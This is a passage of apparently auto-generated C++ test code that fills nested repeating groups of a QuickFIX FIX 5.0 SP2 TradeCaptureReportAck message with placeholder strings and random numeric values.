NestedParties2_NoNested2PartyIDs_60);\n        set_field(noNested2PartyIDs_1_1_2_1, FIX::Nested2PartyRole{380594525}, NestedParties2_NoNested2PartyIDs_60);\n        all_values.push_back(NestedParties2_NoNested2PartyIDs_60);\n        all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs\");\n\n        // NstdPtys2SubGrp\n        // Group NstdPtys2SubGrp.NoNested2PartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_1_1_1_3_0;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_116;\n          set_field(noNested2PartySubIDs_1_1_1_3_0, FIX::Nested2PartySubID{\"STRING_455669248\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_116);\n          set_field(noNested2PartySubIDs_1_1_1_3_0, FIX::Nested2PartySubIDType{1914205752}, NstdPtys2SubGrp_NoNested2PartySubIDs_116);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_116);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_1_1_2_1.addGroup(noNested2PartySubIDs_1_1_1_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_1_1_1_3_1;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_117;\n          set_field(noNested2PartySubIDs_1_1_1_3_1, FIX::Nested2PartySubID{\"STRING_656921164\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_117);\n          set_field(noNested2PartySubIDs_1_1_1_3_1, FIX::Nested2PartySubIDType{1124474638}, NstdPtys2SubGrp_NoNested2PartySubIDs_117);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_117);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_1_1_2_1.addGroup(noNested2PartySubIDs_1_1_1_3_1);\n        }\n        noAllocs_1_1_1.addGroup(noNested2PartyIDs_1_1_2_1);\n      }\n      noSides_0_1.addGroup(noAllocs_1_1_1);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs noAllocs_1_1_2;\n      // TrdAllocGrp.NoAllocs\n      multiset<string> TrdAllocGrp_NoAllocs_8;\n      set_field(noAllocs_1_1_2, FIX::AllocAccount{\"STRING_870999655\"}, TrdAllocGrp_NoAllocs_8);\n      set_field(noAllocs_1_1_2, FIX::AllocAcctIDSource{1540154401}, TrdAllocGrp_NoAllocs_8);\n      set_field(noAllocs_1_1_2, FIX::AllocClearingFeeIndicator{\"STRING_60971944\"}, TrdAllocGrp_NoAllocs_8);\n      set_field(noAllocs_1_1_2, FIX::AllocCustomerCapacity{\"STRING_1179116215\"}, TrdAllocGrp_NoAllocs_8);\n      set_field(noAllocs_1_1_2, FIX::AllocMethod{1}, TrdAllocGrp_NoAllocs_8);\n      FIX::AllocQty AllocQty_52;\n      AllocQty_52.setString(\"4219772\");\nset_field(noAllocs_1_1_2, AllocQty_52, TrdAllocGrp_NoAllocs_8);\n      set_field(noAllocs_1_1_2, FIX::AllocSettlCurrency{\"USD\"}, TrdAllocGrp_NoAllocs_8);\n      set_field(noAllocs_1_1_2, FIX::IndividualAllocID{\"STRING_1246505060\"}, TrdAllocGrp_NoAllocs_8);\n      set_field(noAllocs_1_1_2, FIX::SecondaryIndividualAllocID{\"STRING_839981054\"}, TrdAllocGrp_NoAllocs_8);\n      all_values.push_back(TrdAllocGrp_NoAllocs_8);\n      all_compo_names.insert(\"...NoSides...NoAllocs\");\n\n      // NestedParties2\n      // Group NestedParties2.NoNested2PartyIDs\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs noNested2PartyIDs_1_2_2_0;\n        // NestedParties2.NoNested2PartyIDs\n        multiset<string> NestedParties2_NoNested2PartyIDs_61;\n        set_field(noNested2PartyIDs_1_2_2_0, FIX::Nested2PartyID{\"STRING_80521868\"}, NestedParties2_NoNested2PartyIDs_61);\n        set_field(noNested2PartyIDs_1_2_2_0, FIX::Nested2PartyIDSource{'2'}, NestedParties2_NoNested2PartyIDs_61);\n        set_field(noNested2PartyIDs_1_2_2_0, FIX::Nested2PartyRole{1383683653}, NestedParties2_NoNested2PartyIDs_61);\n        all_values.push_back(NestedParties2_NoNested2PartyIDs_61);\n        all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs\");\n\n        // NstdPtys2SubGrp\n        // Group NstdPtys2SubGrp.NoNested2PartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_1_2_0_3_0;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_118;\n          set_field(noNested2PartySubIDs_1_2_0_3_0, FIX::Nested2PartySubID{\"STRING_1324866366\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_118);\n          set_field(noNested2PartySubIDs_1_2_0_3_0, FIX::Nested2PartySubIDType{419983616}, NstdPtys2SubGrp_NoNested2PartySubIDs_118);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_118);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_1_2_2_0.addGroup(noNested2PartySubIDs_1_2_0_3_0);\n        }\n        noAllocs_1_1_2.addGroup(noNested2PartyIDs_1_2_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs noNested2PartyIDs_1_2_2_1;\n        // NestedParties2.NoNested2PartyIDs\n        multiset<string> NestedParties2_NoNested2PartyIDs_62;\n        set_field(noNested2PartyIDs_1_2_2_1, FIX::Nested2PartyID{\"STRING_764443184\"}, NestedParties2_NoNested2PartyIDs_62);\n        set_field(noNested2PartyIDs_1_2_2_1, FIX::Nested2PartyIDSource{'1'}, NestedParties2_NoNested2PartyIDs_62);\n        set_field(noNested2PartyIDs_1_2_2_1, FIX::Nested2PartyRole{234236735}, NestedParties2_NoNested2PartyIDs_62);\n        all_values.push_back(NestedParties2_NoNested2PartyIDs_62);\n        all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs\");\n\n        // NstdPtys2SubGrp\n        // Group NstdPtys2SubGrp.NoNested2PartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_1_2_1_3_0;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_119;\n          set_field(noNested2PartySubIDs_1_2_1_3_0, FIX::Nested2PartySubID{\"STRING_1638713687\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_119);\n          set_field(noNested2PartySubIDs_1_2_1_3_0, FIX::Nested2PartySubIDType{215333765}, NstdPtys2SubGrp_NoNested2PartySubIDs_119);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_119);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_1_2_2_1.addGroup(noNested2PartySubIDs_1_2_1_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_1_2_1_3_1;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_120;\n          set_field(noNested2PartySubIDs_1_2_1_3_1, FIX::Nested2PartySubID{\"STRING_1169518378\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_120);\n          set_field(noNested2PartySubIDs_1_2_1_3_1, FIX::Nested2PartySubIDType{983267227}, NstdPtys2SubGrp_NoNested2PartySubIDs_120);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_120);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_1_2_2_1.addGroup(noNested2PartySubIDs_1_2_1_3_1);\n        }\n        noAllocs_1_1_2.addGroup(noNested2PartyIDs_1_2_2_1);\n      }\n      noSides_0_1.addGroup(noAllocs_1_1_2);\n    }\n    msg.addGroup(noSides_0_1);\n  }\n  {\n    FIX50SP2::TradeCaptureReportAck::NoSides noSides_0_2;\n    // TrdCapRptAckSideGrp.NoSides\n    multiset<string> TrdCapRptAckSideGrp_NoSides_2;\n    set_field(noSides_0_2, FIX::Account{\"STRING_595928290\"}, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::AccountType{1}, TrdCapRptAckSideGrp_NoSides_2);\n    FIX::AccruedInterestAmt AccruedInterestAmt_14;\n    AccruedInterestAmt_14.setString(\"14389364\");\nset_field(noSides_0_2, AccruedInterestAmt_14, TrdCapRptAckSideGrp_NoSides_2);\n    FIX::AccruedInterestRate AccruedInterestRate_9;\n    AccruedInterestRate_9.setString(\"3.940000\");\nset_field(noSides_0_2, AccruedInterestRate_9, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::AcctIDSource{99}, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::AggressorIndicator{true}, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::AllocID{\"STRING_1233650049\"}, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::ComplianceID{\"STRING_933436396\"}, TrdCapRptAckSideGrp_NoSides_2);\n    FIX::Concession Concession_9;\n    Concession_9.setString(\"4768994\");\nset_field(noSides_0_2, Concession_9, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::CustOrderCapacity{1}, TrdCapRptAckSideGrp_NoSides_2);\n    FIX::EndAccruedInterestAmt EndAccruedInterestAmt_14;\n    EndAccruedInterestAmt_14.setString(\"3254933\");\nset_field(noSides_0_2, EndAccruedInterestAmt_14, TrdCapRptAckSideGrp_NoSides_2);\n    FIX::EndCash EndCash_14;\n    EndCash_14.setString(\"8988766\");\nset_field(noSides_0_2, EndCash_14, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::ExDate{\"LOCALMKTDATE_683882043\"}, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::ExchangeRule{\"STRING_652981575\"}, TrdCapRptAckSideGrp_NoSides_2);\n    FIX::InterestAtMaturity InterestAtMaturity_9;\n    InterestAtMaturity_9.setString(\"21453817\");\nset_field(noSides_0_2, InterestAtMaturity_9, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::NetGrossInd{2}, TrdCapRptAckSideGrp_NoSides_2);\n    FIX::NetMoney NetMoney_9;\n    NetMoney_9.setString(\"3714987\");\nset_field(noSides_0_2, NetMoney_9, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::NumDaysInterest{78419955}, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::OddLot{true}, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::OrderCategory{'5'}, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::OrderDelay{1875453912}, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::OrderDelayUnit{4}, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::PositionEffect{'F'}, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::PreallocMethod{'0'}, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::ProcessCode{'3'}, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::RptSeq{261919092}, TrdCapRptAckSideGrp_NoSides_2);\n    FIX::SettlCurrAmt SettlCurrAmt_17;\n    SettlCurrAmt_17.setString(\"14723709\");\nset_field(noSides_0_2, SettlCurrAmt_17, TrdCapRptAckSideGrp_NoSides_2);\n    FIX::SettlCurrFxRate SettlCurrFxRate_17;\n    SettlCurrFxRate_17.setString(\"12960820\");\nset_field(noSides_0_2, SettlCurrFxRate_17, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::SettlCurrFxRateCalc{'D'}, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::Side{'D'}, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::SideCurrency{\"JPY\"}, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::SideExecID{\"STRING_1378250123\"}, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::SideFillStationCd{\"STRING_1570802062\"}, TrdCapRptAckSideGrp_NoSides_2);\n    FIX::SideGrossTradeAmt SideGrossTradeAmt_4;\n    SideGrossTradeAmt_4.setString(\"14358315\");\nset_field(noSides_0_2, SideGrossTradeAmt_4, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::SideLastQty{771532119}, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::SideMultiLegReportingType{1}, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::SideReasonCd{\"STRING_521997944\"}, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::SideSettlCurrency{\"JPY\"}, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::SideTradeReportID{\"STRING_787280560\"}, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::SideTrdSubTyp{2030461822}, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::SolicitedFlag{true}, TrdCapRptAckSideGrp_NoSides_2);\n    FIX::StartCash StartCash_14;\n    StartCash_14.setString(\"14711626\");\nset_field(noSides_0_2, StartCash_14, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::TimeBracket{\"STRING_535959749\"}, TrdCapRptAckSideGrp_NoSides_2);\n    FIX::TotalTakedown TotalTakedown_9;\n    TotalTakedown_9.setString(\"12129200\");\nset_field(noSides_0_2, TotalTakedown_9, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::TradeAllocIndicator{4}, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::TradeInputDevice{\"STRING_907458484\"}, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::TradeInputSource{\"STRING_1291340006\"}, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::TradingSessionID{\"STRING_3\"}, TrdCapRptAckSideGrp_NoSides_2);\n    set_field(noSides_0_2, FIX::TradingSessionSubID{\"STRING_3\"}, TrdCapRptAckSideGrp_NoSides_2);\n    all_values.push_back(TrdCapRptAckSideGrp_NoSides_2);\n    all_compo_names.insert(\"...NoSides\");\n\n    // ClrInstGrp\n    // Group ClrInstGrp.NoClearingInstructions\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoClearingInstructions noClearingInstructions_2_1_0;\n      // ClrInstGrp.NoClearingInstructions\n      multiset<string> ClrInstGrp_NoClearingInstructions_22;\n      set_field(noClearingInstructions_2_1_0, FIX::ClearingInstruction{11}, ClrInstGrp_NoClearingInstructions_22);\n      all_values.push_back(ClrInstGrp_NoClearingInstructions_22);\n      all_compo_names.insert(\"...NoSides...NoClearingInstructions\");\n\n      noSides_0_2.addGroup(noClearingInstructions_2_1_0);\n    }\n    // CommissionData\n    multiset<string> CommissionData_28;\n    set_field(noSides_0_2, FIX::CommCurrency{\"EUR\"}, CommissionData_28);\n    set_field(noSides_0_2, FIX::CommType{'2'}, CommissionData_28);\n    FIX::Commission Commission_31;\n    Commission_31.setString(\"8047586\");\nset_field(noSides_0_2, Commission_31, CommissionData_28);\n    set_field(noSides_0_2, FIX::FundRenewWaiv{'Y'}, CommissionData_28);\n    all_values.push_back(CommissionData_28);\n    all_compo_names.insert(\"...NoSides.\");\n\n    // ContAmtGrp\n    // Group ContAmtGrp.NoContAmts\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoContAmts noContAmts_2_1_0;\n      // ContAmtGrp.NoContAmts\n      multiset<string> ContAmtGrp_NoContAmts_9;\n      set_field(noContAmts_2_1_0, FIX::ContAmtCurr{\"CAN\"}, ContAmtGrp_NoContAmts_9);\n      set_field(noContAmts_2_1_0, FIX::ContAmtType{2}, ContAmtGrp_NoContAmts_9);\n      FIX::ContAmtValue ContAmtValue_9;\n      ContAmtValue_9.setString(\"2077090\");\nset_field(noContAmts_2_1_0, ContAmtValue_9, ContAmtGrp_NoContAmts_9);\n      all_values.push_back(ContAmtGrp_NoContAmts_9);\n      all_compo_names.insert(\"...NoSides...NoContAmts\");\n\n      noSides_0_2.addGroup(noContAmts_2_1_0);\n    }\n    // MiscFeesGrp\n    // Group MiscFeesGrp.NoMiscFees\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoMiscFees noMiscFees_2_1_0;\n      // MiscFeesGrp.NoMiscFees\n      multiset<string> MiscFeesGrp_NoMiscFees_37;\n      FIX::MiscFeeAmt MiscFeeAmt_37;\n      MiscFeeAmt_37.setString(\"13818722\");\nset_field(noMiscFees_2_1_0, MiscFeeAmt_37, MiscFeesGrp_NoMiscFees_37);\n      set_field(noMiscFees_2_1_0, FIX::MiscFeeBasis{0}, MiscFeesGrp_NoMiscFees_37);\n      set_field(noMiscFees_2_1_0, FIX::MiscFeeCurr{\"JPY\"}, MiscFeesGrp_NoMiscFees_37);\n      set_field(noMiscFees_2_1_0, FIX::MiscFeeType{\"STRING_9\"}, MiscFeesGrp_NoMiscFees_37);\n      all_values.push_back(MiscFeesGrp_NoMiscFees_37);\n      all_compo_names.insert(\"...NoSides...NoMiscFees\");\n\n      noSides_0_2.addGroup(noMiscFees_2_1_0);\n    }\n    // Parties\n    // Group Parties.NoPartyIDs\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoPartyIDs noPartyIDs_2_1_0;\n      // Parties.NoPartyIDs\n      multiset<string> Parties_NoPartyIDs_156;\n      set_field(noPartyIDs_2_1_0, FIX::PartyID{\"STRING_1537263440\"}, Parties_NoPartyIDs_156);\n      set_field(noPartyIDs_2_1_0, FIX::PartyIDSource{'1'}, Parties_NoPartyIDs_156);\n      set_field(noPartyIDs_2_1_0, FIX::PartyRole{2}, Parties_NoPartyIDs_156);\n      all_values.push_back(Parties_NoPartyIDs_156);\n      all_compo_names.insert(\"...NoSides...NoPartyIDs\");\n\n      // PtysSubGrp\n      // Group PtysSubGrp.NoPartySubIDs\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoPartyIDs::NoPartySubIDs noPartySubIDs_2_0_2_0;\n        // PtysSubGrp.NoPartySubIDs\n        multiset<string> PtysSubGrp_NoPartySubIDs_312;\n        set_field(noPartySubIDs_2_0_2_0, FIX::PartySubID{\"STRING_129014386\"}, PtysSubGrp_NoPartySubIDs_312);\n        set_field(noPartySubIDs_2_0_2_0, FIX::PartySubIDType{25}, PtysSubGrp_NoPartySubIDs_312);\n        all_values.push_back(PtysSubGrp_NoPartySubIDs_312);\n        all_compo_names.insert(\"...NoSides...NoPartyIDs...NoPartySubIDs\");\n\n        noPartyIDs_2_1_0.addGroup(noPartySubIDs_2_0_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoPartyIDs::NoPartySubIDs noPartySubIDs_2_0_2_1;\n        // PtysSubGrp.NoPartySubIDs\n        multiset<string> PtysSubGrp_NoPartySubIDs_313;\n        set_field(noPartySubIDs_2_0_2_1, FIX::PartySubID{\"STRING_1817721808\"}, PtysSubGrp_NoPartySubIDs_313);\n        set_field(noPartySubIDs_2_0_2_1, FIX::PartySubIDType{13}, PtysSubGrp_NoPartySubIDs_313);\n        all_values.push_back(PtysSubGrp_NoPartySubIDs_313);\n        all_compo_names.insert(\"...NoSides...NoPartyIDs...NoPartySubIDs\");\n\n        noPartyIDs_2_1_0.addGroup(noPartySubIDs_2_0_2_1);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoPartyIDs::NoPartySubIDs noPartySubIDs_2_0_2_2;\n        // PtysSubGrp.NoPartySubIDs\n        multiset<string> PtysSubGrp_NoPartySubIDs_314;\n        set_field(noPartySubIDs_2_0_2_2, FIX::PartySubID{\"STRING_69712851\"}, PtysSubGrp_NoPartySubIDs_314);\n        set_field(noPartySubIDs_2_0_2_2, FIX::PartySubIDType{12}, PtysSubGrp_NoPartySubIDs_314);\n        all_values.push_back(PtysSubGrp_NoPartySubIDs_314);\n        all_compo_names.insert(\"...NoSides...NoPartyIDs...NoPartySubIDs\");\n\n        noPartyIDs_2_1_0.addGroup(noPartySubIDs_2_0_2_2);\n      }\n      noSides_0_2.addGroup(noPartyIDs_2_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoPartyIDs noPartyIDs_2_1_1;\n      // Parties.NoPartyIDs\n      multiset<string> Parties_NoPartyIDs_157;\n      set_field(noPartyIDs_2_1_1, FIX::PartyID{\"STRING_1174513253\"}, Parties_NoPartyIDs_157);\n      set_field(noPartyIDs_2_1_1, FIX::PartyIDSource{'6'}, Parties_NoPartyIDs_157);\n      set_field(noPartyIDs_2_1_1, FIX::PartyRole{18}, Parties_NoPartyIDs_157);\n      all_values.push_back(Parties_NoPartyIDs_157);\n      all_compo_names.insert(\"...NoSides...NoPartyIDs\");\n\n      // PtysSubGrp\n      // Group PtysSubGrp.NoPartySubIDs\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoPartyIDs::NoPartySubIDs noPartySubIDs_2_1_2_0;\n        // PtysSubGrp.NoPartySubIDs\n        multiset<string> PtysSubGrp_NoPartySubIDs_315;\n        set_field(noPartySubIDs_2_1_2_0, FIX::PartySubID{\"STRING_1127709659\"}, PtysSubGrp_NoPartySubIDs_315);\n        set_field(noPartySubIDs_2_1_2_0, FIX::PartySubIDType{32}, PtysSubGrp_NoPartySubIDs_315);\n        all_values.push_back(PtysSubGrp_NoPartySubIDs_315);\n        all_compo_names.insert(\"...NoSides...NoPartyIDs...NoPartySubIDs\");\n\n        noPartyIDs_2_1_1.addGroup(noPartySubIDs_2_1_2_0);\n      }\n      noSides_0_2.addGroup(noPartyIDs_2_1_1);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoPartyIDs noPartyIDs_2_1_2;\n      // Parties.NoPartyIDs\n      multiset<string> Parties_NoPartyIDs_158;\n      set_field(noPartyIDs_2_1_2, FIX::PartyID{\"STRING_430873811\"}, Parties_NoPartyIDs_158);\n      set_field(noPartyIDs_2_1_2, FIX::PartyIDSource{'F'}, Parties_NoPartyIDs_158);\n      set_field(noPartyIDs_2_1_2, FIX::PartyRole{59}, Parties_NoPartyIDs_158);\n      all_values.push_back(Parties_NoPartyIDs_158);\n      all_compo_names.insert(\"...NoSides...NoPartyIDs\");\n\n      // PtysSubGrp\n      // Group PtysSubGrp.NoPartySubIDs\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoPartyIDs::NoPartySubIDs noPartySubIDs_2_2_2_0;\n        // PtysSubGrp.NoPartySubIDs\n        multiset<string> PtysSubGrp_NoPartySubIDs_316;\n        set_field(noPartySubIDs_2_2_2_0, FIX::PartySubID{\"STRING_1066996217\"}, PtysSubGrp_NoPartySubIDs_316);\n        set_field(noPartySubIDs_2_2_2_0, FIX::PartySubIDType{7}, PtysSubGrp_NoPartySubIDs_316);\n        all_values.push_back(PtysSubGrp_NoPartySubIDs_316);\n        all_compo_names.insert(\"...NoSides...NoPartyIDs...NoPartySubIDs\");\n\n        noPartyIDs_2_1_2.addGroup(noPartySubIDs_2_2_2_0);\n      }\n      noSides_0_2.addGroup(noPartyIDs_2_1_2);\n    }\n    // SettlDetails\n    // Group SettlDetails.NoSettlDetails\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails noSettlDetails_2_1_0;\n      // SettlDetails.NoSettlDetails\n      multiset<string> SettlDetails_NoSettlDetails_14;\n      set_field(noSettlDetails_2_1_0, FIX::SettlObligSource{'3'}, SettlDetails_NoSettlDetails_14);\n      all_values.push_back(SettlDetails_NoSettlDetails_14);\n      all_compo_names.insert(\"...NoSides...NoSettlDetails\");\n\n      // SettlParties\n      // Group SettlParties.NoSettlPartyIDs\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs noSettlPartyIDs_2_0_2_0;\n        // SettlParties.NoSettlPartyIDs\n        multiset<string> SettlParties_NoSettlPartyIDs_65;\n        set_field(noSettlPartyIDs_2_0_2_0, FIX::SettlPartyID{\"STRING_1303020912\"}, SettlParties_NoSettlPartyIDs_65);\n        set_field(noSettlPartyIDs_2_0_2_0, FIX::SettlPartyIDSource{'7'}, SettlParties_NoSettlPartyIDs_65);\n        set_field(noSettlPartyIDs_2_0_2_0, FIX::SettlPartyRole{1112887156}, SettlParties_NoSettlPartyIDs_65);\n        all_values.push_back(SettlParties_NoSettlPartyIDs_65);\n        all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs\");\n\n        // SettlPtysSubGrp\n        // Group SettlPtysSubGrp.NoSettlPartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_2_0_0_3_0;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_131;\n          set_field(noSettlPartySubIDs_2_0_0_3_0, FIX::SettlPartySubID{\"STRING_788817046\"}, SettlPtysSubGrp_NoSettlPartySubIDs_131);\n          set_field(noSettlPartySubIDs_2_0_0_3_0, FIX::SettlPartySubIDType{2003687247}, SettlPtysSubGrp_NoSettlPartySubIDs_131);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_131);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_2_0_2_0.addGroup(noSettlPartySubIDs_2_0_0_3_0);\n        }\n        noSettlDetails_2_1_0.addGroup(noSettlPartyIDs_2_0_2_0);\n      }\n      noSides_0_2.addGroup(noSettlDetails_2_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails noSettlDetails_2_1_1;\n      // SettlDetails.NoSettlDetails\n      multiset<string> SettlDetails_NoSettlDetails_15;\n      set_field(noSettlDetails_2_1_1, FIX::SettlObligSource{'3'}, SettlDetails_NoSettlDetails_15);\n      all_values.push_back(SettlDetails_NoSettlDetails_15);\n      all_compo_names.insert(\"...NoSides...NoSettlDetails\");\n\n      // SettlParties\n      // Group SettlParties.NoSettlPartyIDs\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs noSettlPartyIDs_2_1_2_0;\n        // SettlParties.NoSettlPartyIDs\n        multiset<string> SettlParties_NoSettlPartyIDs_66;\n        set_field(noSettlPartyIDs_2_1_2_0, FIX::SettlPartyID{\"STRING_629981865\"}, SettlParties_NoSettlPartyIDs_66);\n        set_field(noSettlPartyIDs_2_1_2_0, FIX::SettlPartyIDSource{'3'}, SettlParties_NoSettlPartyIDs_66);\n        set_field(noSettlPartyIDs_2_1_2_0, FIX::SettlPartyRole{1723166864}, SettlParties_NoSettlPartyIDs_66);\n        all_values.push_back(SettlParties_NoSettlPartyIDs_66);\n        all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs\");\n\n        // SettlPtysSubGrp\n        // Group SettlPtysSubGrp.NoSettlPartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_2_1_0_3_0;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_132;\n          set_field(noSettlPartySubIDs_2_1_0_3_0, FIX::SettlPartySubID{\"STRING_41475125\"}, SettlPtysSubGrp_NoSettlPartySubIDs_132);\n          set_field(noSettlPartySubIDs_2_1_0_3_0, FIX::SettlPartySubIDType{552239655}, SettlPtysSubGrp_NoSettlPartySubIDs_132);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_132);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_2_1_2_0.addGroup(noSettlPartySubIDs_2_1_0_3_0);\n        }\n        noSettlDetails_2_1_1.addGroup(noSettlPartyIDs_2_1_2_0);\n      }\n      noSides_0_2.addGroup(noSettlDetails_2_1_1);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails noSettlDetails_2_1_2;\n      // SettlDetails.NoSettlDetails\n      multiset<string> SettlDetails_NoSettlDetails_16;\n      set_field(noSettlDetails_2_1_2, FIX::SettlObligSource{'1'}, SettlDetails_NoSettlDetails_16);\n      